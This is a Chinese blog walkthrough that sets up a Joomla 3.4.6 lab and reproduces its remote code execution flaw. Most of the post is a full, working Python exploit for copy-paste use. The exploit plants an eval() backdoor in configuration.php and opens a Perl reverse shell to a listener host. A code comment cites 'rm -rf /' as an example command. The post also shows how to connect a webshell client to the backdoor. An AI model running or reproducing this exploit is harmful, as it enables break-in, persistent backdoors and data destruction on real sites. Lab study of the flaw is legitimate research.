Drunkmars's Blog

Joomla框架搭建&远程代码执行(RCE)漏洞复现

字数统计: 3.2k阅读时长: 14 min
2021/03/16

Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.8,官网: https://downloads.joomla.org/,漏洞位于根目录下的configuration.php,由于该CMS对函数过滤不严格,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。

漏洞影响版本

Joomla 3.0.0-3.4.6

漏洞环境搭建

靶机:WIN10 192.168.10.13
攻击机:kali 192.168.1.110 -> 192.168.10.9(这个地方为什么ip要改后文会提到)

1.下载Joomla3.4.6,链接如下:

https://downloads.joomla.org/cms/joomla3/3-4-6

PS:因为此漏洞影响的版本为Joomla3.0.0-3.4.6,所以一定要下载这个区间以内的joomla进行安装测试,否则测试会失败,我第一次用的是joomla最新的3.9.8版本测试失败,所以特地把链接附上

在这里插入图片描述

2.安装环境,joomla的环境是需要wamp环境,但是自己配置wamp环境太麻烦,所以我们选用phpstudy集成环境,这里多提一句为什么不用wamp,因为我最开始用的wamp,如果你的靶机里面没有C++库的合集,就还需要安装C++库,而且会碰到各种奇奇怪怪的问题(别问我为什么知道的,因为我最先开始安装的就是wamp),所以这里选用phpstudy

这个地方又有一个问题,为什么不选择最新的phpstudy_pro,因为我没有找到phpstudy_pro的php后台管理页面,把pro下载了重新下载的2018版本,下载完成后如下图:

在这里插入图片描述

点击MySQL管理器,点击phpMyAdmin进入管理页面

在这里插入图片描述

phpstudy的默认初始帐号密码都是root登陆即可

在这里插入图片描述

这里我们随便新建一个数据库

在这里插入图片描述

然后把最开始下载好的Joomla安装包放到phpstudy的WWW目录下

在这里插入图片描述

打开浏览器访问这个目录即可进入Joomla的安装界面

在这里插入图片描述

这个页面随便填都可以,因为我们是本地测试环境所以这些信息都可以随便填,但是如果是要真正把Joomla放到公网上别人能够访问,那么你填写信息的时候一定要注意,因为你一旦放到公网上,别人抓到了你的漏洞,就能够通过这个web漏洞进入你的内网

在这里插入图片描述

记住数据库用户名和密码即可

在这里插入图片描述

这个地方注意一下,如果不是复现Joomla漏洞的话这个地方是选第三个选项的,可以理解为有些工作人员的操作失误导致了这个漏洞的产生

在这里插入图片描述

最后设置如下

在这里插入图片描述

点击确定即可成功安装网站

在这里插入图片描述

安装后必须要删除目录才行,否则无法继续进行测试

在这里插入图片描述

打开Joomla的主界面如下:

在这里插入图片描述

漏洞复现

这个地方我首先进行下一步测试,但是始终卡在第一个建立会话连接的地方,所以应该是有问题的,因为始终对话连接建立不上,所以肯定第一个想的就是这两台主机能不能够ping通,首先我在w10上ping了一下kali发现是通的

在这里插入图片描述

但是在kali上ping w10却是ping不通的,这个地方主要看一下ping命令给我们返回的信息:

来自118这个ip的回复TTL传输过期

在这里插入图片描述

那么造成这个TTL传输过期的原因就是这两台主机不在同一网段,我的W10是在192.168.10.x这个网段,而我的kali是在192.168.1.x这个网段,因为子网掩码都是255.255.255.0,所以他们的网络地址是肯定不相同的,不同网段之间传输的数据肯定是不可达的

PS:这里多提一个知识点,在进行内网渗透的时候,因为我们跟内网主机是不同网段,所以我们之间肯定是不能传输数据的,所以这时候就要借助一个跳板来进行转发,那么就是公网的主机

查看了一下我的虚拟机是用的桥接模式,直接把他改成NAT模式

在这里插入图片描述

重启之后IP地址如下,使用nat模式的情况下默认是不会给你配ip的,因为没有dhcp服务,要自行设置ip地址跟网关

在这里插入图片描述

打开VM的虚拟网络编辑器,查看NAT模式下划分的子网地址,这个地方我设置的是192.168.10.x这个段,也就是说只要虚拟机使用的是NAT这个模式,我都要把他们的IP配到192.168.10.x这个段下,网关地址的话继续点击NAT设置进行查看

在这里插入图片描述

这里我将网关地址设置的是192.168.10.254

在这里插入图片描述

设置好之后重启一下网络连接,发现能够ping通w10了

在这里插入图片描述

然后开始进行joomla的漏洞复现
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored

init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}

def random_string(stringLength):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))


backdoor_param = random_string(50)

def print_info(str):
print(colored("[*] " + str,"cyan"))

def print_ok(str):
print(colored("[+] "+ str,"green"))

def print_error(str):
print(colored("[-] "+ str,"red"))

def print_warning(str):
print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html.parser')
# csrf token is the last input
for v in html.find_all('input'):
csrf = v
csrf = csrf.get('name')
return csrf


def get_error(url, cook):
resp = requests.get(url, cookies = cook, proxies = PROXS)
if 'Failed to decode session object' in resp.text:
#print(resp.text)
return False
#print(resp.text)
return True


def get_cook(url):
resp = requests.get(url, proxies=PROXS)
#print(resp.cookies)
return resp.cookies


def gen_pay(function, command):
# Generate the payload for call_user_func('FUNCTION','COMMAND')
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
#payload = command + ' || $a=\'http://wtf\';'
payload = 'http://l4m3rz.l337/;' + command
# Following payload will append an eval() at the enabled of the configuration file
#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final

def make_req(url , object_payload):
# just make a req with object
print_info('Getting Session Cookie ..')
cook = get_cook(url)
print_info('Getting CSRF Token ..')
csrf = get_token( url, cook)

user_payload = '\\0\\0\\0' * 9
padding = 'AAA' # It will land at this padding
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

inj_object = '";'
inj_object += object_payload
inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
password_payload = padding + inj_object
params = {
'username': user_payload,
'password': password_payload,
'option':'com_users',
'task':'user.login',
csrf :'1'
}

print_info('Sending request ..')
resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)
return resp.text

def get_backdoor_pay():
# This payload will backdoor the the configuration .PHP with an eval on POST request

function = 'assert'
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
# payload = command + ' || $a=\'http://wtf\';'
# Following payload will append an eval() at the enabled of the configuration file
payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final

def check(url):
check_string = random_string(20)
target_url = url + 'index.php/component/users'
html = make_req(url, gen_pay('print_r',check_string))
if check_string in html:
return True
else:
return False

def ping_backdoor(url,param_name):
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
if 'PWNED' in res.text:
return True
return False

def execute_backdoor(url, payload_code):
# Execute PHP code from the backdoor
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
print(res.text)

def exploit(url, lhost, lport):
# Exploit the target
# Default exploitation will append en eval function at the end of the configuration.pphp
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
# e.g. get_payload('system','rm -rf /')

# First check that the backdoor has not been already implanted
target_url = url + 'index.php/component/users'

make_req(target_url, get_backdoor_pay())
if ping_backdoor(url, backdoor_param):
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
print_info('Now it\'s time to reverse, trying with a system + perl')
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')


if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target',required=True,help='Joomla Target')
parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
args = vars(parser.parse_args())

url = args['target']
if(check(url)):
print_ok('Vulnerable')
if args['exploit']:
exploit(url, args['lhost'], args['lport'])
else:
print_info('Use --exploit to exploit it')

else:
print_error('Seems NOT Vulnerable ;/')

复制粘贴后生成一个名叫joomla3.4.6-rce.py的文件,执行如下语句:

1
python3 joomla3.4.6-rce.py -t http://192.168.10.13/Joomla/

这个地方有两个注意的地方,第一个是我的Joomla开头J是大写是因为我的这个文件夹命名的时候是以大写的J命名,所以要以文件夹名称为准,第二个就是结尾处一定要带上/,看一下下图的报错

在这里插入图片描述

这个报错seems not vulnerable ;/

报错的字面意思是:似乎是没有可利用的,后面加了个/,意思是让我们把/加在后面,为什么要加这个/的原因,我查阅资料后发现在py脚本里面会有字符串的拼接,如果不加/会导致字符串拼接失败

加上/之后发现回显Vulunerable,可以利用漏洞

在这里插入图片描述
使用py脚本生成一个木马,并打开攻击机的某个端口进行监听

在这里我用的是kali的9999端口,语句如下:

1
python3 joomla3.4.6-rce.py -t http://192.168.10.13/Joomla/ --exploit --lhost 192.168.10.9 --lport 9999

这个地方回等他跑完,我们看一下这个绿色语句,他的意思是说我已经生成了一个名叫configuration的php放在了Joomla这个目录下面,with后面的暂时我还不知道是什么含义

在这里插入图片描述

漏洞原理

本着追根溯源的想法,我在win10打开了这个php,发现这个php应该是原本存在的,只不过这个py在他的最后一行加了一个eval语句

婷婷,这个地方的语句是不是有点眼熟

没错这个就是php的一句话木马,所以这个地方直接上蚁剑连接这个一句话木马就能拿到webshell了

在这里插入图片描述

在这里插入图片描述

复制URL和密码到蚁剑,试了几次发现连接不上,又来排查问题所在

在这里插入图片描述

在这里插入图片描述

因为看到报错是timeout:10000,所以自然想到这两个主机是不是不能相互传递数据,果然报错都是一模一样的TTL传输过期

在这里插入图片描述

查看了一下我物理机的网段,是在192.168.1.x这个网段,所以肯定是不能够建立连接的

在这里插入图片描述

因为其他的虚拟机都没有装蚁剑,所以这个地方最后上马进webshell的页面就借用其他博主的一张图,理论上应该是能够进的

在这里插入图片描述

总结一下:
虚拟机的网段尽量跟物理机保持一致,因为某些实验会在物理机跟虚拟机之间进行,另外就是在装虚拟机配ip的时候一定要根据虚拟网络编辑器里面的ip来配

这种joomla的框架,在打一些比赛需要拿网站的时候,如果碰到joomla框架,直接拿py去扫,就可以直接拿到webshell进内网,所以注重知识的积累还是很重要的

CATALOG
  1. 1. 漏洞影响版本
  2. 2. 漏洞环境搭建
  3. 3. 漏洞复现
  4. 4. 漏洞原理